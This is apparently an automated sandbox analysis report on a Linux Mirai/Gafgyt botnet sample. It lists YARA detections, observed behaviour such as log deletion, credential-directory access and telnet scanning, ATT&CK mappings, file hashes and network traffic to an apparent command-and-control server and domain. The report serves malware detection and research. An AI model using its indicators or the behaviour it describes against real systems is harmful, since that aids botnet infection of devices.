Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1cb033f3 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 49201ab37ff0b5cdfa9b0b34b6faa170bd25f04df51c24b0b558b7534fecc358, id = 1cb033f3-68c1-4fe5-9cd1-b5d066c1d86e, last_modified = 2021-09-16
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1cb033f3 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 49201ab37ff0b5cdfa9b0b34b6faa170bd25f04df51c24b0b558b7534fecc358, id = 1cb033f3-68c1-4fe5-9cd1-b5d066c1d86e, last_modified = 2021-09-16

Source: classification engine

Classification label: mal80.troj.evad.linELF@0/1@1/0

Data Obfuscation

Sample tries to access files in /etc/config/ (typical for OpenWRT routers)

Source: /tmp/i686.elf (PID: 6211)

File: /etc/config

Jump to behavior

Source: /tmp/i686.elf (PID: 6211)	Directory: /root/.cache	Jump to behavior
Source: /tmp/i686.elf (PID: 6211)	Directory: /root/.ssh	Jump to behavior
Source: /tmp/i686.elf (PID: 6211)	Directory: /root/.config	Jump to behavior
Source: /tmp/i686.elf (PID: 6211)	Directory: /root/.local	Jump to behavior
Source: /tmp/i686.elf (PID: 6211)	Directory: /tmp/.X11-unix	Jump to behavior
Source: /tmp/i686.elf (PID: 6211)	Directory: /tmp/.Test-unix	Jump to behavior
Source: /tmp/i686.elf (PID: 6211)	Directory: /tmp/.font-unix	Jump to behavior
Source: /tmp/i686.elf (PID: 6211)	Directory: /tmp/.ICE-unix	Jump to behavior
Source: /tmp/i686.elf (PID: 6211)	Directory: /tmp/.XIM-unix	Jump to behavior
Source: /tmp/i686.elf (PID: 6211)	Directory: /etc/.java	Jump to behavior

Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/230/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/110/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/231/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/111/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/232/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/112/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/233/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/113/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/234/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/114/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/235/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/115/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/236/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/116/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/237/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/117/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/118/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/910/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/119/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/10/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/11/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/12/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/13/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/14/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/15/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/16/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/17/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/18/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/120/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/121/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/122/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/243/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/123/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/2/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/124/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/3/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/4/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/125/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/126/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/127/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/6/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/248/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/128/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/249/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/9/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/20/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/21/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/22/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/23/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/24/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/25/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/26/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/27/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/28/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/29/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/250/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/130/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/251/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/252/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/132/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/253/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/254/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/255/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/256/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/257/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/379/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/258/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/259/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/30/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/35/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/260/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/261/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/141/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/262/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/263/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/264/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/144/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/265/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/266/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/267/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/269/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/270/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/272/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/274/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/278/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/157/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/281/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/286/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/720/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/721/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/847/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/77/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/78/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/79/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/80/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/81/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/82/fd	Jump to behavior
Source: /tmp/i686.elf (PID: 6210)	File opened: /proc/83/fd	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/i686.elf (PID: 6211)

Log files deleted: /var/log/kern.log

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Performs DNS TXT record lookups

Source: Traffic

DNS traffic detected: queries for: www.onlydance.cam

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: i686.elf, type: SAMPLE
Source: Yara match	File source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: i686.elf, type: SAMPLE
Source: Yara match	File source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Indicator Removal	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
i686.elf	34%	ReversingLabs	Linux.Trojan.Mirai
i686.elf	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.onlydance.cam	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	i686.elf	false		high
http:///curl.sh	i686.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
86.245.117.227	unknown	France	3215	FranceTelecom-OrangeFR	false
172.63.52.23	unknown	United States	393494	L3TV-ASUS	false
188.166.182.194	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	false
95.173.38.84	unknown	Lithuania	24852	VINITALT	false
218.185.163.100	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
74.125.250.129	unknown	United States	15169	GOOGLEUS	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
161.197.207.10	unknown	United States	2384	AOCNETUS	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.166.182.194	i686.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	mips.elf	Get hash	malicious	Mirai	Browse
	mpsl.elf	Get hash	malicious	Mirai	Browse
	nshkarm6.elf	Get hash	malicious	Unknown	Browse
	103.6.170.65-boatnet.arm5-2025-01-05T14_12_42.elf	Get hash	malicious	Mirai	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	nshkmips.elf	Get hash	malicious	Unknown	Browse
	fenty.arm7.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Unknown	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	nshkarm5.elf	Get hash	malicious	Unknown	Browse
91.189.91.42	mips.elf	Get hash	malicious	Mirai	Browse
	mpsl.elf	Get hash	malicious	Mirai	Browse
	nshkarm6.elf	Get hash	malicious	Unknown	Browse
	103.6.170.65-boatnet.arm5-2025-01-05T14_12_42.elf	Get hash	malicious	Mirai	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	nshkmips.elf	Get hash	malicious	Unknown	Browse
	fenty.arm7.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Unknown	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	nshkarm5.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VINITALT	i486.elf	Get hash	malicious	Mirai	Browse	88.223.171.199
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	95.173.38.85
	8kjULT74JI.elf	Get hash	malicious	Mirai	Browse	88.223.171.183
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	88.223.107.21
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	88.223.107.21
	77.90.35.9-skid.ppc-2024-07-30T07_10_49.elf	Get hash	malicious	Mirai, Moobot	Browse	88.223.171.161
	V4zFzdCyty.elf	Get hash	malicious	Mirai, Moobot	Browse	88.223.171.190
	jew.x86.elf	Get hash	malicious	Mirai	Browse	88.223.171.168
	WDw9LnYz2p.elf	Get hash	malicious	Unknown	Browse	79.132.186.178
	GiTCjsd698.elf	Get hash	malicious	Mirai	Browse	88.223.171.177
FranceTelecom-OrangeFR	momo.mips.elf	Get hash	malicious	Mirai	Browse	83.195.96.16
	momo.arm.elf	Get hash	malicious	Mirai	Browse	86.225.67.11
	momo.mpsl.elf	Get hash	malicious	Mirai	Browse	86.210.114.189
	momo.arm7.elf	Get hash	malicious	Mirai	Browse	212.234.104.10
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	90.0.79.214
	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	86.251.252.101
	armv6l.elf	Get hash	malicious	Unknown	Browse	129.181.246.249
	3.elf	Get hash	malicious	Unknown	Browse	90.124.6.208
	1.elf	Get hash	malicious	Unknown	Browse	90.1.160.108
	armv6l.elf	Get hash	malicious	Unknown	Browse	2.11.223.225
L3TV-ASUS	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	172.63.17.2
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	172.62.198.24
	jew.sh4.elf	Get hash	malicious	Unknown	Browse	52.144.24.105
	x86.elf	Get hash	malicious	Mirai	Browse	172.62.186.65
	nklppc.elf	Get hash	malicious	Unknown	Browse	172.62.162.46
	amen.spc.elf	Get hash	malicious	Mirai	Browse	172.63.52.254
	5r3fqt67ew531has4231.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	172.62.186.56
	8v2IShmMos.elf	Get hash	malicious	Unknown	Browse	172.62.186.39
	nabarm7.elf	Get hash	malicious	Unknown	Browse	172.62.141.149
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	52.144.24.151
DIGITALOCEAN-ASNUS	i686.elf	Get hash	malicious	Mirai	Browse	188.166.182.194
	cZO.exe	Get hash	malicious	Unknown	Browse	68.183.196.133
	momo.arm7.elf	Get hash	malicious	Mirai	Browse	174.138.12.56
	avaydna.exe	Get hash	malicious	Njrat	Browse	157.245.14.184
	4.elf	Get hash	malicious	Unknown	Browse	157.230.180.162
	i686.elf	Get hash	malicious	Mirai	Browse	188.166.182.194
	2.elf	Get hash	malicious	Unknown	Browse	157.230.60.234
	CarrierPortal.exe	Get hash	malicious	Unknown	Browse	162.243.76.72
	1.elf	Get hash	malicious	Unknown	Browse	157.230.220.254
	1.elf	Get hash	malicious	Unknown	Browse	157.245.145.61

Process:	/tmp/i686.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.024394204278479
Encrypted:	false
SSDEEP:	3:TBGTD+FN5CSNE4F58SASI7AWHF5x5mAR/VB6GEDwcL7uoL/:TBGD+5F+RLl0AR/VgGEDLHB/
MD5:	E77B19565FA2C8C6B780A198F3889313
SHA1:	4B18D7D88944804C96620323D60EE89E4B985BB4
SHA-256:	F71785724FCE340C9FF9CD4341B920A602A47C0B496C57CCA177B94CB4BA297D
SHA-512:	D22AAC8ADD55BCD9672465F3E67AF9DD4B69C0C85903C16A1C19ABDEA59EA0674DF69FF7D7F646FE642417103C7D4B6B5B3B1D5A8017C321417CBC5B3C243732
Malicious:	false
Reputation:	low
Preview:	The gods watch from the heavens? Let them see what a mortal can become. let them witness a man who defies their will and carves his own destiny...

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.275108619193818
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	i686.elf
File size:	91'792 bytes
MD5:	8f0239e6b5b39a97e8e64ff9217b00a0
SHA1:	21fc853d5b63878943c811c295ebc8b06ff6932b
SHA256:	ddbe5a641b1f5132023c52c0fcff8f8d22f8bae192c6a219d9131a241eb1d65e
SHA512:	c9e9905538920c55bb074c798be68575ee87e03766ad2ae2e310f2ab32c303095455478d139380663fa82818b3f6fa8c1f9b599499da8bf521ab1ced03eaf7ba
SSDEEP:	1536:T1E5CYmiaabu0Tii9kA9be5VpJd3OlThdDK2amn7R0RFk6uJWlzkBkB:T10CYmiawLiife59wlmmnWRFkhWlpB
TLSH:	3E932A1374D08DFDC49AC9394A6F913AE672F16D2221734B2784BB312E8EE213F1E559
File Content Preview:	.ELF..............>.......@.....@........d..........@.8...@.......................@.......@.....0]......0]......................8]......8]Q.....8]Q..............q..............Q.td....................................................H...._....j...H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	91152
Section Header Size:	64
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	1
.text	PROGBITS	0x400100	0x100	0x11696	0x0	0x6	AX	16
.fini	PROGBITS	0x411796	0x11796	0xe	0x0	0x6	AX	1
.rodata	PROGBITS	0x4117c0	0x117c0	0x4570	0x0	0x2	A	32
.ctors	PROGBITS	0x515d38	0x15d38	0x10	0x0	0x3	WA	8
.dtors	PROGBITS	0x515d48	0x15d48	0x10	0x0	0x3	WA	8
.data	PROGBITS	0x515d60	0x15d60	0x670	0x0	0x3	WA	32
.bss	NOBITS	0x5163e0	0x163d0	0x6ae8	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x163d0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x15d30	0x15d30	6.3428	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x15d38	0x515d38	0x515d38	0x698	0x7190	2.5646	0x6	RW	0x100000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 00:52:50.292771101 CET	48288	23	192.168.2.23	172.63.52.23
Jan 6, 2025 00:52:50.297729969 CET	23	48288	172.63.52.23	192.168.2.23
Jan 6, 2025 00:52:50.298099041 CET	48288	23	192.168.2.23	172.63.52.23
Jan 6, 2025 00:52:50.301853895 CET	58114	23	192.168.2.23	95.173.38.84
Jan 6, 2025 00:52:50.304718018 CET	60244	23	192.168.2.23	86.245.117.227
Jan 6, 2025 00:52:50.306631088 CET	23	58114	95.173.38.84	192.168.2.23
Jan 6, 2025 00:52:50.306787968 CET	58114	23	192.168.2.23	95.173.38.84
Jan 6, 2025 00:52:50.307176113 CET	41154	23	192.168.2.23	161.197.207.10
Jan 6, 2025 00:52:50.309530020 CET	23	60244	86.245.117.227	192.168.2.23
Jan 6, 2025 00:52:50.311980963 CET	23	41154	161.197.207.10	192.168.2.23
Jan 6, 2025 00:52:50.312007904 CET	60244	23	192.168.2.23	86.245.117.227
Jan 6, 2025 00:52:50.312757969 CET	41154	23	192.168.2.23	161.197.207.10
Jan 6, 2025 00:52:50.332393885 CET	37414	23	192.168.2.23	218.185.163.100
Jan 6, 2025 00:52:50.337264061 CET	23	37414	218.185.163.100	192.168.2.23
Jan 6, 2025 00:52:50.337307930 CET	37414	23	192.168.2.23	218.185.163.100
Jan 6, 2025 00:52:50.345618010 CET	37414	23	192.168.2.23	218.185.163.100
Jan 6, 2025 00:52:50.345623016 CET	48288	23	192.168.2.23	172.63.52.23
Jan 6, 2025 00:52:50.345623016 CET	60244	23	192.168.2.23	86.245.117.227
Jan 6, 2025 00:52:50.345623016 CET	58114	23	192.168.2.23	95.173.38.84
Jan 6, 2025 00:52:50.345634937 CET	41154	23	192.168.2.23	161.197.207.10
Jan 6, 2025 00:52:50.350490093 CET	23	37414	218.185.163.100	192.168.2.23
Jan 6, 2025 00:52:50.350641012 CET	23	48288	172.63.52.23	192.168.2.23
Jan 6, 2025 00:52:50.350650072 CET	23	41154	161.197.207.10	192.168.2.23
Jan 6, 2025 00:52:50.350657940 CET	23	60244	86.245.117.227	192.168.2.23
Jan 6, 2025 00:52:50.350689888 CET	37414	23	192.168.2.23	218.185.163.100
Jan 6, 2025 00:52:50.350699902 CET	48288	23	192.168.2.23	172.63.52.23
Jan 6, 2025 00:52:50.350766897 CET	41154	23	192.168.2.23	161.197.207.10
Jan 6, 2025 00:52:50.350769043 CET	60244	23	192.168.2.23	86.245.117.227
Jan 6, 2025 00:52:50.355304956 CET	23	58114	95.173.38.84	192.168.2.23
Jan 6, 2025 00:52:50.355400085 CET	58114	23	192.168.2.23	95.173.38.84
Jan 6, 2025 00:52:50.369931936 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:52:50.374706984 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:52:50.374752998 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:52:51.195781946 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:52:51.195869923 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:52:51.474529028 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:52:51.474581957 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:52:51.890464067 CET	43928	443	192.168.2.23	91.189.91.42
Jan 6, 2025 00:52:53.832640886 CET	54640	5837	192.168.2.23	188.166.182.194
